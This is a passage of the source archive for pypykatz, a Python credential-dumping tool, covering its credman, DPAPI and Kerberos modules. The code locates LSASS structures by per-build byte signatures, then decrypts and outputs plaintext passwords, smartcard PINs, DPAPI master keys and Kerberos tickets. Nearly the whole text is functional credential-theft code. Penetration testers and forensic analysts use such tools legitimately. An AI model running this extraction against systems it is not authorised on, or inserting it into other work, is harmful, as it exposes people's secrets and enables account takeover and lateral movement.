reader): super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2) class KIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2: def __init__(self, reader): self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2(reader) self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2(reader) self.unk0 = DWORD(reader) self.unk1 = DWORD(reader) self.unk2 = DWORD(reader) #reader.align() #there should be an aloignment here, but it's not??? self.LocallyUniqueIdentifier = LUID(reader).value self.unk3 = DWORD(reader) reader.align() self.unk4 = DWORD64(reader) self.unk5 = DWORD64(reader) self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader)././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3113644 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/credman/0000775000175000017500000000000014647211624022651 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/credman/__init__.py0000664000175000017500000000000014543266630024752 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/credman/templates.py0000664000175000017500000002250614543266630025230 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io #from minidump.win_datatypes import * from pypykatz.commons.common import hexdump from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild from pypykatz.commons.win_datatypes import LSA_UNICODE_STRING, ULONG, PVOID, PWSTR, POINTER, LIST_ENTRY from pypykatz.lsadecryptor.package_commons import PackageTemplate class CredmanTemplate(PackageTemplate): def __init__(self): super().__init__('Credman') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = CredmanTemplate() if sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60 else: template.list_entry = KIWI_CREDMAN_LIST_ENTRY else: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5_X86 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60_X86 else: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_X86 template.log_template('list_entry', template.list_entry) return template class PKIWI_CREDMAN_LIST_ENTRY_5_X86(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_5_X86) class KIWI_CREDMAN_LIST_ENTRY_5_X86: def __init__(self, reader): #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # reader.move(reader.tell() - 32) reader.align() #not sure if it's needed here # self.cbEncPassword = ULONG(reader).value reader.align() self.encPassword = PWSTR(reader) self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = PVOID(reader) self.unk3 = PVOID(reader) self.UserName = PWSTR(reader) self.cbUserName = ULONG(reader).value reader.align() self.Flink = PKIWI_CREDMAN_LIST_ENTRY_5(reader) self.Blink = PKIWI_CREDMAN_LIST_ENTRY_5(reader) self.server1 = LSA_UNICODE_STRING(reader) self.unk6 = PVOID(reader) self.unk7 = PVOID(reader) self.user = LSA_UNICODE_STRING(reader) self.unk8 = ULONG(reader).value reader.align() self.server2 = LSA_UNICODE_STRING(reader) class PKIWI_CREDMAN_LIST_ENTRY_60_X86(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_60_X86) class KIWI_CREDMAN_LIST_ENTRY_60_X86: def __init__(self, reader): #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # reader.move(reader.tell() - 32) reader.align() #not sure if it's needed here # #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x200), start = reader.tell())) # self.cbEncPassword = ULONG(reader).value reader.align() self.encPassword = PWSTR(reader) self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = PVOID(reader) self.unk3 = PVOID(reader) self.UserName = PWSTR(reader) self.cbUserName = ULONG(reader).value reader.align() self.Flink = PKIWI_CREDMAN_LIST_ENTRY_60(reader) self.Blink = PKIWI_CREDMAN_LIST_ENTRY_60(reader) self.type = LSA_UNICODE_STRING(reader) self.unk5 = PVOID(reader) self.server1 = LSA_UNICODE_STRING(reader) self.unk6 = PVOID(reader) self.unk7 = PVOID(reader) self.unk8 = PVOID(reader) self.unk9 = PVOID(reader) self.unk10 = PVOID(reader) self.user = LSA_UNICODE_STRING(reader) self.unk11 = ULONG(reader).value reader.align() #print('a') #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x50), start = reader.tell())) self.server2 = LSA_UNICODE_STRING(reader) class PKIWI_CREDMAN_LIST_ENTRY_X86(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_X86) class KIWI_CREDMAN_LIST_ENTRY_X86: def __init__(self, reader): #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # reader.move(reader.tell() - 32) reader.align() #not sure if it's needed here # self.cbEncPassword = ULONG(reader).value reader.align() self.encPassword = PWSTR(reader) self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = PVOID(reader) self.unk3 = PVOID(reader) self.UserName = PWSTR(reader) self.cbUserName = ULONG(reader).value reader.align() self.Flink = PKIWI_CREDMAN_LIST_ENTRY(reader) self.Blink = PKIWI_CREDMAN_LIST_ENTRY(reader) self.unk4 = LIST_ENTRY(reader) self.type = LSA_UNICODE_STRING(reader) self.unk5 = PVOID(reader) self.server1 = LSA_UNICODE_STRING(reader) self.unk6 = PVOID(reader) self.unk7 = PVOID(reader) self.unk8 = PVOID(reader) self.unk9 = PVOID(reader) self.unk10 = PVOID(reader) self.user = LSA_UNICODE_STRING(reader) self.unk11 = ULONG(reader).value reader.align() self.server2 = LSA_UNICODE_STRING(reader) class PKIWI_CREDMAN_LIST_ENTRY_5(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_5) class KIWI_CREDMAN_LIST_ENTRY_5: def __init__(self, reader): #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # reader.move(reader.tell() - 56) reader.align() #not sure if it's needed here # self.cbEncPassword = ULONG(reader).value reader.align() self.encPassword = PWSTR self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = PVOID(reader) self.unk3 = PVOID(reader) self.UserName = PWSTR(reader) self.cbUserName = ULONG(reader).value reader.align() self.Flink = PKIWI_CREDMAN_LIST_ENTRY_5 self.Blink = PKIWI_CREDMAN_LIST_ENTRY_5 self.server1 = LSA_UNICODE_STRING self.unk6 = PVOID(reader) self.unk7 = PVOID(reader) self.user = LSA_UNICODE_STRING(reader) self.unk8 = ULONG(reader).value reader.align() self.server2 = LSA_UNICODE_STRING class PKIWI_CREDMAN_LIST_ENTRY_60(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_60) class KIWI_CREDMAN_LIST_ENTRY_60: def __init__(self, reader): #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # reader.move(reader.tell() - 56) reader.align() #not sure if it's needed here # #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x200), start = reader.tell())) # self.cbEncPassword = ULONG(reader).value reader.align() self.encPassword = PWSTR(reader) self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = PVOID(reader) self.unk3 = PVOID(reader) self.UserName = PWSTR(reader) self.cbUserName = ULONG(reader).value reader.align() self.Flink = PKIWI_CREDMAN_LIST_ENTRY_60 self.Blink = PKIWI_CREDMAN_LIST_ENTRY_60 self.type = LSA_UNICODE_STRING(reader) self.unk5 = PVOID(reader) self.server1 = LSA_UNICODE_STRING(reader) self.unk6 = PVOID(reader) self.unk7 = PVOID(reader) self.unk8 = PVOID(reader) self.unk9 = PVOID(reader) self.unk10 = PVOID(reader) self.user = LSA_UNICODE_STRING(reader) self.unk11 = ULONG(reader).value reader.align() self.server2 = LSA_UNICODE_STRING(reader) class PKIWI_CREDMAN_LIST_ENTRY(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY) class KIWI_CREDMAN_LIST_ENTRY: def __init__(self, reader): #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # #input('KIWI_CREDMAN_LIST_ENTRY \n%s' % hexdump(reader.peek(0x50), start = reader.tell())) reader.move(reader.tell() - 56) reader.align() #not sure if it's needed here #input('KIWI_CREDMAN_LIST_ENTRY \n%s' % hexdump(reader.peek(0x200), start = reader.tell())) # self.cbEncPassword = ULONG(reader).value reader.align() self.encPassword = PWSTR(reader) self.unk0 = ULONG(reader).value self.unk1 = ULONG(reader).value self.unk2 = PVOID(reader) self.unk3 = PVOID(reader) self.UserName = PWSTR(reader) self.cbUserName = ULONG(reader).value reader.align() self.Flink = PKIWI_CREDMAN_LIST_ENTRY(reader) self.Blink = PKIWI_CREDMAN_LIST_ENTRY(reader) self.unk4 = LIST_ENTRY(reader) self.type = LSA_UNICODE_STRING(reader) self.unk5 = PVOID(reader) self.server1 = LSA_UNICODE_STRING(reader) self.unk6 = PVOID(reader) self.unk7 = PVOID(reader) self.unk8 = PVOID(reader) self.unk9 = PVOID(reader) self.unk10 = PVOID(reader) self.user = LSA_UNICODE_STRING(reader) self.unk11 = ULONG(reader).value reader.align() self.server2 = LSA_UNICODE_STRING(reader) class PKIWI_CREDMAN_LIST_STARTER(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CREDMAN_LIST_STARTER) class KIWI_CREDMAN_LIST_STARTER: def __init__(self, reader): self.unk0 = ULONG(reader) reader.align() self.start = PKIWI_CREDMAN_LIST_ENTRY(reader) #... class PKIWI_CREDMAN_SET_LIST_ENTRY(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_CREDMAN_SET_LIST_ENTRY) class KIWI_CREDMAN_SET_LIST_ENTRY: def __init__(self, reader): self.Flink = PKIWI_CREDMAN_SET_LIST_ENTRY(reader) self.Blink = PKIWI_CREDMAN_SET_LIST_ENTRY(reader) self.unk0 = ULONG(reader).value reader.align() self.list1 = PKIWI_CREDMAN_LIST_STARTER(reader) self.list2 = PKIWI_CREDMAN_LIST_STARTER(reader) ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3113644 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/dpapi/0000775000175000017500000000000014647211624022335 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/dpapi/__init__.py0000664000175000017500000000000014543266630024436 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/dpapi/decryptor.py0000664000175000017500000000440314543266630024725 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json import hashlib from pypykatz.lsadecryptor.package_commons import PackageDecryptor class DpapiCredential: def __init__(self): self.credtype = 'dpapi' self.luid = None self.key_guid = None self.masterkey = None self.sha1_masterkey = None def to_dict(self): t = {} t['credtype'] = self.credtype t['key_guid'] = self.key_guid t['masterkey'] = self.masterkey t['sha1_masterkey'] = self.sha1_masterkey t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== DPAPI [%x]==\n' % self.luid t += '\t\tluid %s\n' % self.luid t += '\t\tkey_guid %s\n' % self.key_guid t += '\t\tmasterkey %s\n' % self.masterkey t += '\t\tsha1_masterkey %s\n' % self.sha1_masterkey return t class DpapiDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Dpapi', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] def find_first_entry(self, modulename): position = self.find_signature(modulename,self.decryptor_template.signature) ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc def add_entry(self, dpapi_entry): if dpapi_entry.key is None: return if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True) sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() c = DpapiCredential() c.luid = dpapi_entry.LogonId c.key_guid = dpapi_entry.KeyUid c.masterkey = dec_masterkey.hex() c.sha1_masterkey = sha_masterkey self.credentials.append(c) def start(self): for modulename in ['lsasrv.dll','dpapisrv.dll']: try: entry_ptr_value, entry_ptr_loc = self.find_first_entry(modulename) except Exception as e: self.log('Failed to find structs! Reason: %s' % e) continue self.reader.move(entry_ptr_loc) entry_ptr = self.decryptor_template.list_entry(self.reader) self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/dpapi/templates.py0000664000175000017500000000664314543266630024720 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from minidump.win_datatypes import FILETIME, ULONG from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, WindowsBuild from pypykatz.commons.win_datatypes import LUID, GUID, POINTER from pypykatz.lsadecryptor.package_commons import PackageTemplate class DpapiTemplate(PackageTemplate): def __init__(self): super().__init__('Dpapi') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = DpapiTemplate() template.list_entry = PKIWI_MASTERKEY_CACHE_ENTRY template.log_template('list_entry', template.list_entry) if sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x4d\x3b\xee\x49\x8b\xfd\x0f\x85' template.first_entry_offset = -4 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.signature = b'\x49\x3b\xef\x48\x8b\xfd\x0f\x84' template.first_entry_offset = -4 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x33\xc0\xeb\x20\x48\x8d\x05' template.first_entry_offset = 7 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x4c\x89\x1f\x48\x89\x47\x08\x49\x39\x43\x08\x0f\x85' template.first_entry_offset = -4 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x08\x48\x39\x48\x08\x0f\x85' template.first_entry_offset = -10 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.signature = b'\x48\x89\x4e\x08\x48\x39\x48\x08' template.first_entry_offset = -7 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: template.signature = b'\x48\x89\x4f\x08\x48\x89\x78\x08' template.first_entry_offset = 11 else: #currently this doesnt make sense, but keeping it here for future use raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) elif sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x33\xc0\x40\xa3' template.first_entry_offset = -4 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x8b\xf0\x81\xfe\xcc\x06\x00\x00\x0f\x84' template.first_entry_offset = -16 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x33\xc0\x40\xa3' template.first_entry_offset = -4 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) return template class PKIWI_MASTERKEY_CACHE_ENTRY(POINTER): def __init__(self, reader): super().__init__(reader, KIWI_MASTERKEY_CACHE_ENTRY) class KIWI_MASTERKEY_CACHE_ENTRY: def __init__(self, reader): self.Flink = PKIWI_MASTERKEY_CACHE_ENTRY(reader) self.Blink = PKIWI_MASTERKEY_CACHE_ENTRY(reader) self.LogonId = LUID(reader).value self.KeyUid = GUID(reader).value self.insertTime = FILETIME(reader) self.keySize = ULONG(reader).value if self.keySize < 512: self.key = reader.read(self.keySize) else: self.key = None././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3113644 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/kerberos/0000775000175000017500000000000014647211624023054 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/kerberos/__init__.py0000664000175000017500000000000014543266630025155 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/kerberos/decryptor.py0000664000175000017500000002460314543266630025450 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from typing import List from pypykatz.commons.kerberosticket import KerberosTicket, KerberosTicketType from pypykatz.lsadecryptor.package_commons import PackageDecryptor from pypykatz.commons.win_datatypes import PLIST_ENTRY, PRTL_AVL_TABLE from pypykatz.commons.common import WindowsMinBuild class KerberosCredential: def __init__(self): self.credtype:str = 'kerberos' self.username:str = None self.password:str = None self.password_raw:bytes = b'' self.domainname:str = None self.luid:int = None self.tickets:List[KerberosTicket] = [] self.pin:str = None self.pin_raw:bytes = None self.cardinfo = None def __str__(self): t = '\t== Kerberos ==\n' t += '\t\tUsername: %s\n' % self.username t += '\t\tDomain: %s\n' % self.domainname if self.password is not None: t += '\t\tPassword: %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() if self.pin is not None: t += '\t\tPIN: %s\n' % self.pin t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex() if self.cardinfo is not None: t += '\t\tCARDINFO: \n' t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName'] t += '\t\t\tReaderName: %s\n' % self.cardinfo['ReaderName'] t += '\t\t\tContainerName: %s\n' % self.cardinfo['ContainerName'] t += '\t\t\tCSPName: %s\n' % self.cardinfo['CSPName'] # TODO: check if users actually need this. # I think it's not useful to print out the kerberos ticket data as string, as noone uses it directly. # It is better to use the -k flag an export the tickets #for ticket in self.tickets: # t += '\t\t%s' % str(ticket).replace('\n','\n\t\t\t')[:-3] return t def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['password'] = self.password t['password_raw'] = self.password_raw t['domainname'] = self.domainname t['luid'] = self.luid t['pin'] = self.pin t['pin_raw'] = self.pin_raw t['cardinfo'] = self.cardinfo t['tickets'] = [] for ticket in self.tickets: t['tickets'] = ticket.to_dict() return t class KerberosDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo, with_tickets = True): super().__init__('Kerberos', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.with_tickets = with_tickets self.credentials = [] self.current_ticket_type = None self.current_cred = None def find_first_entry(self): position = self.find_signature('kerberos.dll',self.decryptor_template.signature) ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc def handle_ticket(self, kerberos_ticket): try: kt = KerberosTicket.parse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type) self.current_cred.tickets.append(kt) #print(str(kt)) except Exception as e: raise e def start(self): try: entry_ptr_value, entry_ptr_loc = self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: self.reader.move(entry_ptr_loc) entry_ptr = PLIST_ENTRY(self.reader) self.walk_list(entry_ptr, self.process_session_elist) else: result_ptr_list = [] self.reader.move(entry_ptr_value) start_node = PRTL_AVL_TABLE(self.reader).read(self.reader) self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) for ptr in result_ptr_list: self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__) self.reader.move(ptr) kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader) self.process_session(kerberos_logon_session) def process_session_elist(self, elist): self.reader.move(elist.location) self.reader.read_uint() #Flink do not remove this line! self.reader.read_uint() #Blink do not remove this line! kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader) self.process_session(kerberos_logon_session) def process_session(self, kerberos_logon_session): self.current_cred = KerberosCredential() self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader) self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader) #if self.current_cred.username.endswith('$') is True: # self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) # if self.current_cred.password is not None: # self.current_cred.password = self.current_cred.password.hex() #else: # self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) if kerberos_logon_session.SmartcardInfos.value != 0: csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) pin_enc = csp_info.PinCode.read_maxdata(self.reader) self.current_cred.pin, self.current_cred.pin_raw = self.decrypt_password(pin_enc) if csp_info.CspDataLength != 0: self.current_cred.cardinfo = csp_info.CspData.get_infos() #### key list (still in session) this is not a linked list (thank god!) if kerberos_logon_session.pKeyList.value != 0: key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct) #print(key_list.cbItem) key_list.read(self.reader, self.decryptor_template.hash_password_struct) for key in key_list.KeyEntries: pass ### GOOD #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size) #print(keydata_enc) #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True) #print(keydata_enc.hex()) #input('KEY?') #print(key.generic.Checksump.value) #self.log_ptr(key.generic.Checksump.value, 'Checksump', datasize = key.generic.Size) #if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_10_1507.value and key.generic.Size > LSAISO_DATA_BLOB.size: # if key.generic.Size <= LSAISO_DATA_BLOB.size + (len("KerberosKey") - 1) + 32: #AES_256_KEY_LENGTH # input('1') # data_blob = key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) # data_blob.read(self.reader, key.generic.Size - LSAISO_DATA_BLOB.size) # # input('data blob end') # """ # kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data); # kprintf(L"\n\t Unk-Key : "); kull_m_string_wprintf_hex(blob->unkKeyData, sizeof(blob->unkKeyData), 0); # kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->origSize, 0); # kprintf(L"\n\t\t SS:%u, TS:%u, DS:%u", blob->structSize, blob->typeSize, blob->origSize); # kprintf(L"\n\t\t 0:0x%x, 1:0x%x, 2:0x%x, 3:0x%x, 4:0x%x, E:", blob->unk0, blob->unk1, blob->unk2, blob->unk3, blob->unk4); # kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); kprintf(L", 5:0x%x", blob->unk5); # """ # else: # input('2') # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) # print('unkData1 : %s' % data_struct.unkData1.hex()) # print('unkData2 : %s' % data_struct.unkData2.hex()) # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB # #else: # # if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_VISTA.value: # input('3') # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) # print('unkData1 : %s' % data_struct.unkData1.hex()) # print('unkData2 : %s' % data_struct.unkData2.hex()) # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB # # else: # input('4') # #we need to decrypt as well! # self.reader.move(key.generic.Checksump.value) # enc_data = self.reader.read(key.generic.Size) # print(hexdump(enc_data)) # dec_data = self.lsa_decryptor.decrypt(enc_data) # print(hexdump(dec_data)) # t_reader = GenericReader(dec_data) # data_struct = LSAISO_DATA_BLOB(t_reader) # print('unkData1 : %s' % data_struct.unkData1.hex()) # print('unkData2 : %s' % data_struct.unkData2.hex()) # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB # #input() if self.with_tickets is True: if kerberos_logon_session.Tickets_1.Flink.value != 0 and \ kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \ kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 : self.current_ticket_type = KerberosTicketType.TGS self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) if kerberos_logon_session.Tickets_2.Flink.value != 0 and \ kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \ kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 : self.current_ticket_type = KerberosTicketType.CLIENT self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) if kerberos_logon_session.Tickets_3.Flink.value != 0 and \ kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \ kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 : self.current_ticket_type = KerberosTicketType.TGT self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) self.current_ticket_type = None self.credentials.append(self.current_cred) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/packages/kerberos/templates.py0000664000175000017500000012630514543266630025435 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io from minidump.win_datatypes import ULONG64, FILETIME, PCWSTR, SIZE_T, BOOL #WCHAR, ANYSIZE_ARRAY from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.commons.win_datatypes import POINTER, PVOID, ULONG, LIST_ENTRY, \ DWORD, LSA_UNICODE_STRING, PKERB_EXTERNAL_NAME, KIWI_GENERIC_PRIMARY_CREDENTIAL, \ LUID, PLSAISO_DATA_BLOB from pypykatz.lsadecryptor.package_commons import PackageTemplate class KerberosTemplate(PackageTemplate): def __init__(self, sysinfo): super().__init__('Kerberos', sysinfo) self.signature = None self.first_entry_offset = None self.kerberos_session_struct = None self.kerberos_ticket_struct = None self.keys_list_struct = None self.hash_password_struct = None self.csp_info_struct = None @staticmethod def get_template(sysinfo): #input('%s %s' % (sysinfo.architecture,sysinfo.buildnumber)) template = KerberosTemplate(sysinfo) if sysinfo.architecture == KatzSystemArchitecture.X64: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x48\x3b\xfe\x0f\x84' template.first_entry_offset = -4 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 template.hash_password_struct = KERB_HASHPASSWORD_5 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x48\x3b\xfe\x0f\x84' template.first_entry_offset = -4 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 template.hash_password_struct = KERB_HASHPASSWORD_5 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.signature = b'\x48\x8b\x18\x48\x8d\x0d' template.first_entry_offset = 6 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60 template.keys_list_struct = 